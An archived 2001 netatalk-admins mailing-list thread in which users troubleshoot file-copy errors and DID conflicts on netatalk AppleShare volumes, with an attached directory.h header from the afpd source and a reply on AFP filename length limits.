          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id LAA04393; Mon, 24 Dec 2001 11:25:06 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id LAA15239; Mon, 24 Dec 2001 11:25:04 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B2C.003EB656 ; Mon, 24 Dec 2001 11:24:59 +0000
X-Lotus-FromDomain: HARLEQUIN
To: marcus@marcuscom.com
cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>
Message-ID: <80256B2C.003EB505.00@notescam.cam.harlequin.co.uk>
Date: Mon, 24 Dec 2001 11:24:53 +0000
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I've had the patches on a netatalk server (rc2,Linux 7.1) since friday - tried
to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID conflict
yesterday. Used did=last.

In another, more subtle problem...
every night, the Macos X server builds afresh a set of products and attempts to
copy (using the HFS API) those products (each containing a large number of
files) to a volume mounted via netatalk. It occasionally fails on the same 2
sets of products, one large, one small. Unfortunately, the error output is not
all it should be but, from looking at the code, it would *appear* to barfing on
a permissions problem. The directory permissions look ok to me :-(

I *think* it's a resource fork problem - the .AppleDouble files look
suspiciously recent on the failed hierarchies and the copied structure looks the
same as it's source.

This has happened regardless of the release candidate - 0.9, 1 or 2.

Roger
At 24/12/2001 04:04:30, Joe Clarke <marcus@marcuscom.com> wrote:
#  On Sun, 2001-12-23 at 22:16, Rick Zeman wrote:
#  > On 12/23/01 5:45 PM, "Rick Zeman" <rzeman@his.com> wrote:
#  >
#  > > On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
#  > >
#  > >> On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
#  > >>> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
#  > >>>
#  > >>>> Has anyone tried these patches yet?  I'm curious to know if the -50
#  > >>>> errors have gone away.
#  > >>>>
#  > >>>> Joe
#  > >>>
#  > >>> I have tried them and I've yet to get the -50 with did=last and NO
flocks.
#  > >>
#  > >> Cool.  If all goes well, I may merge in the changes so to make the
#  > >> release.  Tell me, are you seeing any DID conflict messages in your
#  > >> syslog?
#  > >
#  > > Nope
#  >
#  > I lied big-time.  I have a mount point (/mac) that's purely Mac files
(~4500
#  > files, 1.4 GB).  When I first compiled rc2, I recreated all of the files
#  > (it's a mirror of another server).  This was with did=hash.  All worked
#  > fine, but was told it wasn't safe.  Recompiled with the patches and
#  > configured did=last.  Still worked well, adding and subtracting small
#  > amounts of files.
#  >
#  > Recreated the contents of /mac from scratch and all hell broke
#  > loose....HUNDREDS of DID errors...and a totally confused file structure.
#  > Recompiled with did=hash (if I do this any more, I'm going to have to have
#  > separate compile directories) and the 1.4 GB went back into /mac without an
#  > error.
#
#  That's strange.  I copied my Mac OS X System folder to a Netatalk volume
#  (26000 files) under OS 9.2.2, and it went off without a hitch.
#
#  Can you send me a copy of the directory.h you're using?  Also, did you
#  get any Finder errors (-50, -43, etc.)?  What Mac OS did you use to do
#  the copies.
#
#  Also, if you can reproduce the problem, I have a Perl script I'd like
#  you to run to help me track things down.
#
#  Joe
#
#  >
#  > Something tells me that did=last with the patches freaks when coping
#  > thousands of files or a large amount on disk.
#  >
#  > --
#  > "So Long, and Thanks For All the Fish."
#  >        --Douglas Adams
#  >           1952-2001
#  >
#  >

Roger



From netatalk.administrators-errors@umich.edu  Mon Dec 24 07:11:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA15667
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 07:11:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA06837
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 07:11:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA06815
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 07:11:30 -0500 (EST)
Received: from smtp04.retemail.es (smtp04.iddeo.es [62.81.186.14])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA06777
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 07:11:29 -0500 (EST)
Received: from [10.0.0.100] ([80.224.107.32]) by smtp04.retemail.es
          (InterMail vM.5.01.03.02 201-253-122-118-102-20010403) with ESMTP
          id <20011224121124.DKZU4561.smtp04.retemail.es@[10.0.0.100]>;
          Mon, 24 Dec 2001 13:11:24 +0100
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Mon, 24 Dec 2001 13:11:22 +0100
Subject: Re: Unidentified subject!
From: Jason Quigley <jasonq@mac.com>
To: <roger.day@globalgraphics.com>, <marcus@marcuscom.com>
CC: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>
Message-ID: <B84CD9FA.6E99%jasonq@mac.com>
In-Reply-To: <80256B2C.003EB505.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit



> From: roger.day@globalgraphics.com
> Date: Mon, 24 Dec 2001 11:24:53 +0000
> To: marcus@marcuscom.com
> Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>
> Subject: Unidentified subject!
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Mon, 24 Dec 2001 06:25:12 -0500 (EST)
> 
> I've had the patches on a netatalk server (rc2,Linux 7.1) since friday - tried
> to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID
> conflict
> yesterday. Used did=last.


This error normally indicates that one of the filenames is too long for the
netatalk volume.

I suppose progress on this problem can occur when the CNID code has
stabilised. I'm going to start studying C (Shouldn't be too difficult as I
can already code in perl and other languages) as I'll hopefully have some
time next year to start helping.


Cheers,
Jason.



From netatalk.administrators-errors@umich.edu  Mon Dec 24 07:58:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA17464
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 07:58:58 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA29659
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 07:58:57 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA29643
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 07:58:57 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA29629
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 07:58:56 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 17265 invoked from network); 24 Dec 2001 12:55:50 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-29.tower-1.messagelabs.com with SMTP; 24 Dec 2001 12:55:50 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id MAA05122; Mon, 24 Dec 2001 12:58:53 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id MAA21289; Mon, 24 Dec 2001 12:58:50 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B2C.00474C97 ; Mon, 24 Dec 2001 12:58:46 +0000
X-Lotus-FromDomain: HARLEQUIN
To: Jason Quigley <jasonq@mac.com>
cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>,
        marcus@marcuscom.com
Message-ID: <80256B2C.00474AA5.00@notescam.cam.harlequin.co.uk>
Date: Mon, 24 Dec 2001 12:58:41 +0000
Subject: Re: Unidentified subject!
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

What's the maximum length of a filename for netatalk?

At 24/12/2001 12:11:22, Jason Quigley <jasonq@mac.com> wrote:
#  > From: roger.day@globalgraphics.com
#  > Date: Mon, 24 Dec 2001 11:24:53 +0000
#  > To: marcus@marcuscom.com
#  > Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman
<rzeman@his.com>
#  > Subject: Unidentified subject!
#  > Resent-From: netatalk-admins@umich.edu
#  > Resent-Date: Mon, 24 Dec 2001 06:25:12 -0500 (EST)
#  >
#  > I've had the patches on a netatalk server (rc2,Linux 7.1) since friday -
tried
#  > to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID
#  > conflict
#  > yesterday. Used did=last.
#
#
#  This error normally indicates that one of the filenames is too long for the
#  netatalk volume.
#
#  I suppose progress on this problem can occur when the CNID code has
#  stabilised. I'm going to start studying C (Shouldn't be too difficult as I
#  can already code in perl and other languages) as I'll hopefully have some
#  time next year to start helping.
#
#
#  Cheers,
#  Jason.
#
#
Roger



From netatalk.administrators-errors@umich.edu  Mon Dec 24 10:44:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA24100
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 10:44:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA02557
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 10:44:26 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA02550
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 10:44:26 -0500 (EST)
Received: from smtp04.retemail.es (smtp04.iddeo.es [62.81.186.14])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA02524
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 10:44:24 -0500 (EST)
Received: from [10.0.0.100] ([80.224.107.32]) by smtp04.retemail.es
          (InterMail vM.5.01.03.02 201-253-122-118-102-20010403) with ESMTP
          id <20011224154423.DYOR4561.smtp04.retemail.es@[10.0.0.100]>;
          Mon, 24 Dec 2001 16:44:23 +0100
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Mon, 24 Dec 2001 16:44:21 +0100
Subject: Re: Unidentified subject!
From: Jason Quigley <jasonq@mac.com>
To: <roger.day@globalgraphics.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B84D0BE5.6EA9%jasonq@mac.com>
In-Reply-To: <80256B2C.00474AA5.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

31 bytes, I believe.

> From: roger.day@globalgraphics.com
> Date: Mon, 24 Dec 2001 12:58:41 +0000
> To: Jason Quigley <jasonq@mac.com>
> Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>,
> marcus@marcuscom.com
> Subject: Re: Unidentified subject!
> 
> What's the maximum length of a filename for netatalk?
> 
> At 24/12/2001 12:11:22, Jason Quigley <jasonq@mac.com> wrote:
> #  > From: roger.day@globalgraphics.com
> #  > Date: Mon, 24 Dec 2001 11:24:53 +0000
> #  > To: marcus@marcuscom.com
> #  > Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman
> <rzeman@his.com>
> #  > Subject: Unidentified subject!
> #  > Resent-From: netatalk-admins@umich.edu
> #  > Resent-Date: Mon, 24 Dec 2001 06:25:12 -0500 (EST)
> #  >
> #  > I've had the patches on a netatalk server (rc2,Linux 7.1) since friday -
> tried
> #  > to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID
> #  > conflict
> #  > yesterday. Used did=last.
> #
> #
> #  This error normally indicates that one of the filenames is too long for the
> #  netatalk volume.
> #
> #  I suppose progress on this problem can occur when the CNID code has
> #  stabilised. I'm going to start studying C (Shouldn't be too difficult as I
> #  can already code in perl and other languages) as I'll hopefully have some
> #  time next year to start helping.
> #
> #
> #  Cheers,
> #  Jason.
> #
> #
> Roger
> 
> 
> 



From netatalk.administrators-errors@umich.edu  Mon Dec 24 11:30:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA26179
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 11:30:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA07744
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 11:30:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA07742
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 11:30:43 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.242.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA07734
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 11:30:41 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fBOGTrh20660;
	Mon, 24 Dec 2001 08:29:53 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 24 Dec 2001 08:30:16 -0800
Subject: Re: Unidentified subject!
From: Steve Freitas <sflist@ihonk.com>
To: <roger.day@globalgraphics.com>, <marcus@marcuscom.com>
CC: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>
Message-ID: <B84C9817.A2D5%sflist@ihonk.com>
In-Reply-To: <80256B2C.003EB505.00@notescam.cam.harlequin.co.uk>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I've had the patches on a netatalk server (rc2,Linux 7.1) since friday - tried
> to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID
> conflict yesterday. Used did=last.

Yeah, I've had the same problem with unpatched Netatalk. It's strange --
I'll do a big copy, and it'll barf on a particular file with -37. Then I try
to copy the offending file individually, and it works fine. Sometimes the
filename contains an unusual character (e.g. cmd-8), sometimes it doesn't.
With some decent logging we could solve stuff like this faster...

Steve


From netatalk.administrators-errors@umich.edu  Mon Dec 24 13:49:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA02881
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 13:49:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA17685
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 13:49:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA17672
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 13:49:58 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA17638
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 13:49:56 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBOIn2J48896;
	Mon, 24 Dec 2001 13:49:02 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Copying problems (was: No subject)
From: Joe Clarke <marcus@marcuscom.com>
To: roger.day@globalgraphics.com
Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman <rzeman@his.com>
In-Reply-To: <80256B2C.003EB505.00@notescam.cam.harlequin.co.uk>
References: <80256B2C.003EB505.00@notescam.cam.harlequin.co.uk>
Content-Type: multipart/mixed; boundary="=-Ozj8wgsQb2/0CqyB3Smu"
X-Mailer: Evolution/1.0 (Preview Release)
Date: 24 Dec 2001 13:50:00 -0500
Message-Id: <1009219800.73209.0.camel@shumai.marcuscom.com>
Mime-Version: 1.0


--=-Ozj8wgsQb2/0CqyB3Smu
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Mon, 2001-12-24 at 06:24, roger.day@globalgraphics.com wrote:
> I've had the patches on a netatalk server (rc2,Linux 7.1) since friday - tried
> to copy across a chunk o'stuff (800mb+), failed with -37. I got one DID conflict
> yesterday. Used did=last.

Please try with the attached directory.h, and see if the DID problems
subside.

Joe

> 
> In another, more subtle problem...
> every night, the Macos X server builds afresh a set of products and attempts to
> copy (using the HFS API) those products (each containing a large number of
> files) to a volume mounted via netatalk. It occasionally fails on the same 2
> sets of products, one large, one small. Unfortunately, the error output is not
> all it should be but, from looking at the code, it would *appear* to barfing on
> a permissions problem. The directory permissions look ok to me :-(
> 
> I *think* it's a resource fork problem - the .AppleDouble files look
> suspiciously recent on the failed hierarchies and the copied structure looks the
> same as it's source.
> 
> This has happened regardless of the release candidate - 0.9, 1 or 2.
> 
> Roger
> At 24/12/2001 04:04:30, Joe Clarke <marcus@marcuscom.com> wrote:
> #  On Sun, 2001-12-23 at 22:16, Rick Zeman wrote:
> #  > On 12/23/01 5:45 PM, "Rick Zeman" <rzeman@his.com> wrote:
> #  >
> #  > > On 12/22/01 6:53 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> #  > >
> #  > >> On Sat, 2001-12-22 at 16:45, Rick Zeman wrote:
> #  > >>> On 12/22/01 4:35 PM, "Joe Clarke" <marcus@marcuscom.com> wrote:
> #  > >>>
> #  > >>>> Has anyone tried these patches yet?  I'm curious to know if the -50
> #  > >>>> errors have gone away.
> #  > >>>>
> #  > >>>> Joe
> #  > >>>
> #  > >>> I have tried them and I've yet to get the -50 with did=last and NO
> flocks.
> #  > >>
> #  > >> Cool.  If all goes well, I may merge in the changes so to make the
> #  > >> release.  Tell me, are you seeing any DID conflict messages in your
> #  > >> syslog?
> #  > >
> #  > > Nope
> #  >
> #  > I lied big-time.  I have a mount point (/mac) that's purely Mac files
> (~4500
> #  > files, 1.4 GB).  When I first compiled rc2, I recreated all of the files
> #  > (it's a mirror of another server).  This was with did=hash.  All worked
> #  > fine, but was told it wasn't safe.  Recompiled with the patches and
> #  > configured did=last.  Still worked well, adding and subtracting small
> #  > amounts of files.
> #  >
> #  > Recreated the contents of /mac from scratch and all hell broke
> #  > loose....HUNDREDS of DID errors...and a totally confused file structure.
> #  > Recompiled with did=hash (if I do this any more, I'm going to have to have
> #  > separate compile directories) and the 1.4 GB went back into /mac without an
> #  > error.
> #
> #  That's strange.  I copied my Mac OS X System folder to a Netatalk volume
> #  (26000 files) under OS 9.2.2, and it went off without a hitch.
> #
> #  Can you send me a copy of the directory.h you're using?  Also, did you
> #  get any Finder errors (-50, -43, etc.)?  What Mac OS did you use to do
> #  the copies.
> #
> #  Also, if you can reproduce the problem, I have a Perl script I'd like
> #  you to run to help me track things down.
> #
> #  Joe
> #
> #  >
> #  > Something tells me that did=last with the patches freaks when coping
> #  > thousands of files or a large amount on disk.
> #  >
> #  > --
> #  > "So Long, and Thanks For All the Fish."
> #  >        --Douglas Adams
> #  >           1952-2001
> #  >
> #  >
> 
> Roger
> 
> 
> 


--=-Ozj8wgsQb2/0CqyB3Smu
Content-Disposition: attachment; filename=directory.h
Content-Transfer-Encoding: quoted-printable
Content-Type: text/x-c; charset=ISO-8859-1

/*
 * $Id: directory.h,v 1.3 2001/12/03 05:03:38 jmarcus Exp $
 *
 * Copyright (c) 1990,1991 Regents of The University of Michigan.
 * All Rights Reserved.
 *
 * Permission to use, copy, modify, and distribute this software and
 * its documentation for any purpose and without fee is hereby granted,
 * provided that the above copyright notice appears in all copies and
 * that both that copyright notice and this permission notice appear
 * in supporting documentation, and that the name of The University
 * of Michigan not be used in advertising or publicity pertaining to
 * distribution of the software without specific, written prior
 * permission. This software is supplied as is without expressed or
 * implied warranties of any kind.
 *
 *	Research Systems Unix Group
 *	The University of Michigan
 *	c/o Mike Clark
 *	535 W. William Street
 *	Ann Arbor, Michigan
 *	+1-313-763-0525
 *	netatalk@itd.umich.edu
 */

#ifndef AFPD_DIRECTORY_H
#define AFPD_DIRECTORY_H 1

#include <sys/cdefs.h>
#include <sys/types.h>
/*#include <sys/stat.h>*/ /* including it here causes some confusion */
#include <netatalk/endian.h>

/* sys/types.h usually snarfs in major/minor macros. if they don't
 * try this file. */
#ifndef major
#include <sys/sysmacros.h>
#endif

#include "globals.h"
#include "volume.h"

/* the did tree is now a red-black tree while the parent/child
 * tree is a circular doubly-linked list. how exciting. */
struct dir {
    struct dir	*d_left, *d_right, *d_back; /* for red-black tree */
    int		d_color;
    struct dir  *d_parent, *d_child; /* parent-child */
    struct dir  *d_prev, *d_next;    /* siblings */
    void        *d_ofork;            /* oforks using this directory. */
    u_int32_t   d_did;
    int	        d_flags;
    char	*d_name;
};

/* child addition/removal macros */
#define dirchildadd(a, b) do { \
	if (!(a)->d_child) \
		(a)->d_child =3D (b); \
	else { \
		(b)->d_next =3D (a)->d_child; \
		(b)->d_prev =3D (b)->d_next->d_prev; \
		(b)->d_next->d_prev =3D (b); \
		(b)->d_prev->d_next =3D (b); \
	} \
} while (0)

#define dirchildremove(a,b) do { \
	if ((a)->d_child =3D=3D (b)) \
		(a)->d_child =3D ((b) =3D=3D (b)->d_next) ? NULL : (b)->d_next; \
	(b)->d_next->d_prev =3D (b)->d_prev; \
	(b)->d_prev->d_next =3D (b)->d_next; \
        (b)->d_next =3D (b)->d_prev =3D (b); \
} while (0)

#define DIRTREE_COLOR_RED    0
#define DIRTREE_COLOR_BLACK  1

/* setgid directories */
#ifndef DIRBITS
#define DIRBITS S_ISGID
#endif /* DIRBITS */

#define DIRF_FSMASK	(3<<0)
#define DIRF_NOFS	(0<<0)
#define DIRF_AFS	(1<<0)
#define DIRF_UFS	(2<<0)

#define AFPDIR_READ	(1<<0)

/* directory bits */
#define DIRPBIT_ATTR	0
#define DIRPBIT_PDID	1
#define DIRPBIT_CDATE	2
#define DIRPBIT_MDATE	3
#define DIRPBIT_BDATE	4
#define DIRPBIT_FINFO	5
#define DIRPBIT_LNAME	6
#define DIRPBIT_SNAME	7
#define DIRPBIT_DID	8
#define DIRPBIT_OFFCNT	9
#define DIRPBIT_UID	10
#define DIRPBIT_GID	11
#define DIRPBIT_ACCESS	12
#define DIRPBIT_PDINFO  13         /* ProDOS Info */

/* directory attribute bits (see file.h for other bits) */
#define ATTRBIT_EXPFOLDER   (1 << 1) /* shared point */
#define ATTRBIT_MOUNTED     (1 << 3) /* mounted share point by non-admin */
#define ATTRBIT_INEXPFOLDER (1 << 4) /* folder in a shared area */

#define FILDIRBIT_ISDIR        (1 << 7) /* is a directory */
#define FILDIRBIT_ISFILE       (0)      /* is a file */

/* reserved directory id's */
#define DIRDID_ROOT_PARENT    htonl(1)  /* parent directory of root */
#define DIRDID_ROOT           htonl(2)  /* root directory */

/* file/directory ids. what a mess. we scramble things in a vain attempt
 * to get something meaningful */
#ifndef AFS
#define CNID_XOR(a)  (((a) >> 16) ^ (a))
#define CNID_DEV(a)   ((((CNID_XOR(major((a)->st_dev)) & 0xf) << 3) | \
	(CNID_XOR(minor((a)->st_dev)) & 0x7)) << 24)
#define CNID_INODE(a) (((a)->st_ino ^ (((a)->st_ino & 0xff000000) >> 8)) \
				       & 0x00ffffff)
#define CNID_FILE(a)  (((a) & 0x1) << 31)
#define CNID(a,b)     (CNID_DEV(a) | CNID_INODE(a) | CNID_FILE(b))
#else /* AFS */
#define CNID(a,b)     (((a)->st_ino & 0x7fffffff) | CNID_FILE(b))
#endif /* AFS */

#define LAST_DEV(a)   ((((major((a)->st_dev) & 0xf) << 3) | \
	(minor((a)->st_dev) & 0x7)) << 24)
#define LAST_INODE(a) ((a)->st_ino & 0x00ffffff)
#define LAST(a,b)     (LAST_DEV(a) | LAST_INODE(a) | CNID_FILE(b))

struct maccess {
    u_char	ma_user;
    u_char	ma_world;
    u_char	ma_group;
    u_char	ma_owner;
};

#define	AR_USEARCH	(1<<0)
#define	AR_UREAD	(1<<1)
#define	AR_UWRITE	(1<<2)
#define	AR_UOWN		(1<<7)

extern struct dir       *dirnew __P((const int));
extern void             dirfree __P((struct dir *));
extern struct dir	*dirsearch __P((const struct vol *, u_int32_t));
extern struct dir	*adddir __P((struct vol *, struct dir *, char *,
                                               int, char *, int, struct sta=
t *));
extern struct dir       *dirinsert __P((struct vol *, struct dir *));
extern int              movecwd __P((const struct vol *, struct dir *));
extern int              deletecurdir __P((const struct vol *, char *, int))=
;
extern char		*cname __P((const struct vol *, struct dir *,
                             char **));
extern mode_t           mtoumode __P((struct maccess *));
extern void             utommode __P((struct stat *, struct maccess *));
extern int getdirparams __P((const struct vol *, u_int16_t, char *,
                                 struct dir *, struct stat *, char *, int *=
));
extern int setdirparams __P((const struct vol *, char *, u_int16_t, char *)=
);
extern int renamedir __P((char *, char *, struct dir *,
                              struct dir *, char *, const int));


/* FP functions */
extern int	afp_createdir __P((AFPObj *, char *, int, char *, int *));
extern int      afp_opendir __P((AFPObj *, char *, int, char *, int *));
extern int	afp_setdirparams __P((AFPObj *, char *, int, char *, int *));
extern int      afp_closedir __P((AFPObj *, char *, int, char *, int *));
extern int	afp_mapid __P((AFPObj *, char *, int, char *, int *));
extern int	afp_mapname __P((AFPObj *, char *, int, char *, int *));

/* from enumerate.c */
extern int	afp_enumerate __P((AFPObj *, char *, int, char *, int *));
extern int	afp_catsearch __P((AFPObj *, char *, int, char *, int *));

#endif

--=-Ozj8wgsQb2/0CqyB3Smu--


From netatalk.administrators-errors@umich.edu  Mon Dec 24 13:56:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03099
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Dec 2001 13:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA17990
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Dec 2001 13:56:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA17970
	for netatalk.administrators-members@umich.edu; Mon, 24 Dec 2001 13:56:32 -0500 (EST)
Received: from creme-brulee.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA17929
	for <netatalk-admins@umich.edu>; Mon, 24 Dec 2001 13:56:31 -0500 (EST)
Received: from shumai.marcuscom.com (marcus@shumai.marcuscom.com [192.168.1.4])
	by creme-brulee.marcuscom.com (8.11.6/8.11.6) with ESMTP id fBOItXJ48927;
	Mon, 24 Dec 2001 13:55:33 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
Subject: Re: Unidentified subject!
From: Joe Clarke <marcus@marcuscom.com>
To: roger.day@globalgraphics.com
Cc: Jason Quigley <jasonq@mac.com>,
        netatalk-admins
	 <netatalk-admins@umich.edu>,
        Rick Zeman <rzeman@his.com>
In-Reply-To: <80256B2C.00474AA5.00@notescam.cam.harlequin.co.uk>
References: <80256B2C.00474AA5.00@notescam.cam.harlequin.co.uk>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0 (Preview Release)
Date: 24 Dec 2001 13:56:31 -0500
Message-Id: <1009220191.73209.2.camel@shumai.marcuscom.com>
Mime-Version: 1.0

On Mon, 2001-12-24 at 07:58, roger.day@globalgraphics.com wrote:
> What's the maximum length of a filename for netatalk?

AFP 2.x defines 27 character volume names and 31 characters for
filename.  AFP pathname strings can be a maximum of 255 characters.

AFP 3.0 defines the AFPName structure which can contain "almost infinite
number of path elements."  UNIX, however, limits path names to 1024
characters.  Currently Netatalk only supports up to AFP 2.2.

Joe

> 
> At 24/12/2001 12:11:22, Jason Quigley <jasonq@mac.com> wrote:
> #  > From: roger.day@globalgraphics.com
> #  > Date: Mon, 24 Dec 2001 11:24:53 +0000
> #  > To: marcus@marcuscom.com
> #  > Cc: netatalk-admins <netatalk-admins@umich.edu>, Rick Zeman
